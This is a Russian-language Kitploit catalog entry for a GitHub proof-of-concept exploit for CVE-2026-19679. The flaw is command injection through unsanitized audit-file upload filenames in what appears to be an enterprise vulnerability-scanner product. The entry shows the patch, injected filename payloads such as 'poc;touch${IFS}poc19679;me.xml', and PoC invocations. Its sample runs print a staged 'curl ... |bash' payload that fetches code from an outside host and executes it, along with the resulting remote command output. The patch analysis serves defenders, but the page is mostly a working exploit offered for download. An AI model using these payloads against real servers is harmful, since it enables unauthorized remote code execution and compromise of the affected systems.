Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-19679 — PoC-эксплойт для CVE-2026-19679 — уязвимости недостаточной санитизации имени файла при загрузке файлов аудита, приводящей к внедрению команд. Включает дифференциальный зонд определения версии и режим exec для удалённого выполнения команд. | Kitploit
Инструменты/GitHubGitHub/h00die/poc-cve-2026-19679
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubh00die/poc-cve-2026-19679

POC-CVE-2026-19679

PoC-эксплойт для CVE-2026-19679 — уязвимости недостаточной санитизации имени файла при загрузке файлов аудита, приводящей к внедрению команд. Включает дифференциальный зонд определения версии и режим exec для удалённого выполнения команд.

Репозиторий
21 ч 11 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

InfoGraphic

CVE-2026-19679 — недостаточная очистка имён загружаемых файлов (проверка входных данных)

Статус: ПОДТВЕРЖДЕНО в лаборатории 6.7.2-14.el9 (2026-08-20). POST /rest/auditFile с tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" вернул HTTP 200 и зарегистрировал AuditFile #1000002 — имя файла с метасимволами оболочки прошло проверку и было сохранено на всём пути обработки. На 6.9.0 тот же запрос отклоняется с "Invalid tailoring filename.".

Уязвимость

Параметры загрузки файла аудита (filename, tailoringFilename, tailoringOriginalFilename) проверяются с помощью (), который проверяет только три вещи: непустое значение, отсутствие (совпадение с ), и что временный файл существует. — , , обратные кавычки, и пробелы проходят без изменений.

PARAM_FILENAME
Utility::validateParams()
/
basename()
Никаких ограничений на набор символов нет
;
$()
${IFS}

Эти имена затем попадают в:

  • rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") — AuditFileLib.php:2307 (создаётся файл с произвольными метасимволами в имени)
  • команда переупаковки SCAP zip — exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc"), где неэкранированный $tmpZipFile формируется из клиентского параметра filename — последующая командная инъекция из CVE-2026-19681.

Граница, подтверждённая в лаборатории: обход каталогов не является частью уязвимости до версии 6.9 — оба параметра настройки отклоняют / (ошибка 146 Invalid syntax for attribute ... для полезной нагрузки ../). Недостающее звено — именно фильтр набора символов; именно это имеется в виду в тексте CVE под фразой «может способствовать последующей командной инъекции».

Патч (6.9.0)

AuditFiles::applySCAPTailoringFile():

root@kitploit:~
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
    ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);

плюс basename() для обоих имён и escapeshellarg() для операндов zip.

PoC

Дифференциальная проверка версий — один запрос, противоположные результаты в зависимости от версии:

root@kitploit:~
./poc.py --target https://sc.lab --username analyst --password 'pass'
  • ≤ 6.8.x → HTTP 200 (файл аудита создан с метасимвольным именем) или ошибка 106 (возвращается после выполнения; имя всё равно доходило до rename()/zip) → проверки набора символов нет
  • 6.9.0 → немедленный отказ "Invalid tailoring filename."

Практические замечания (все подтверждены в лаборатории):

  • ресурс загрузки — /rest/file/upload (multipart Filedata, поле формы context)
  • zip аудита размещается с пустым context — при context=auditFile выполняется определение содержимого zip (ошибка 107 для фиктивного zip)
  • файл настройки должен содержать разбираемый XML поток данных с ≥1 профилем (встроенным)
  • тело auditFile должно содержать type=scapLinux|scapWindows, version=1.2, benchmarkName, dataStreamName

Связь с CVE-2026-19681

19679 — это пробел в валидации; 19681 — это sink для exec. Один и тот же поток загрузки задействует обе: 19681 помещает метасимволы в промежуточное имя filename (через префикс context при загрузке) и передаёт их через неэкранированный $tmpZipFile; 19679 показывает, что родственные параметры принимают тот же класс символов вплоть до (и внутри) той же командной строки. 6.9.0 исправляет обе стороны в рамках одного коммита: charset + basename + escapeshellarg.

Пример запуска

root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
root@kitploit:~
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux
Скачать инструмент